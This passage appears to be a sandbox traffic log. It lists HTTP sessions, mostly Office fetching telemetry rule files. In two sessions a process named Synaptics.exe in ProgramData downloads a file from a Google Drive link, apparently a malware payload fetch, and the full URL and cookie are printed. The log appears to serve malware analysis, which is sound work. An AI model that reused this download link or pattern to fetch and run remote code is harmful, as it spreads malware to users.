T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49994	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:19 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:20 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 686307fb-901e-0029-3dcc-45274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231620Z-1746fd949bdjrnwqhC1EWRpg2800000003c000000000mw23 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:20 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49999	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:21 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:21 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:21 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 71541f9e-801e-0078-2fc7-45bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231621Z-1746fd949bdwt8wrhC1EWRu6rg00000003h000000000avna x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:21 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	50007	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:21 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:22 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:22 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 5cfda45f-901e-00ac-3dce-45b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231622Z-1746fd949bdlnsqphC1EWRurw0000000037000000000dq3e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:22 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	50005	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:21 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:22 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:22 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 901a75be-701e-0053-76cb-453a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231622Z-1746fd949bdzd2qvhC1EWRcygw000000035g000000005as7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:22 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	50004	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:21 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:22 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:22 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: f87bd39b-701e-0097-59cc-45b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231622Z-1746fd949bdkw94lhC1EWRxuz400000003n0000000001wgm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:22 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	50006	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:21 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:22 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:22 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 2accf417-001e-0014-64cb-455151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231622Z-1746fd949bd6zq92hC1EWRry48000000039000000000ne0r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:22 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	50010	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:22 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
2024-12-05 23:16:23 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:16:23 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-fb5sNgJ19AFfeDp6g3jMKQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	50009	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:22 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
2024-12-05 23:16:23 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:16:23 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-KpgWcBmHSM0I_lrlu4hCSA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	50014	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:24 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:24 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:24 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 8c60988c-801e-00a3-08c1-457cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231624Z-1746fd949bdqpttnhC1EWRe1wg0000000370000000000s0y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:24 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	50015	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:24 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:24 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:24 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 1a0f4f93-001e-0049-61cb-455bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231624Z-1746fd949bdkw94lhC1EWRxuz400000003n0000000001wm2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:24 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	50017	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:24 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:24 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:24 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: b51b559c-801e-008c-7fcc-457130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231624Z-1746fd949bdfg4slhC1EWR34t0000000037g00000000cwdm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:24 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	50016	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:24 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:24 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:24 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: f6fadb53-501e-0064-5acb-451f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231624Z-1746fd949bdqpttnhC1EWRe1wg0000000340000000009uv1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:24 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

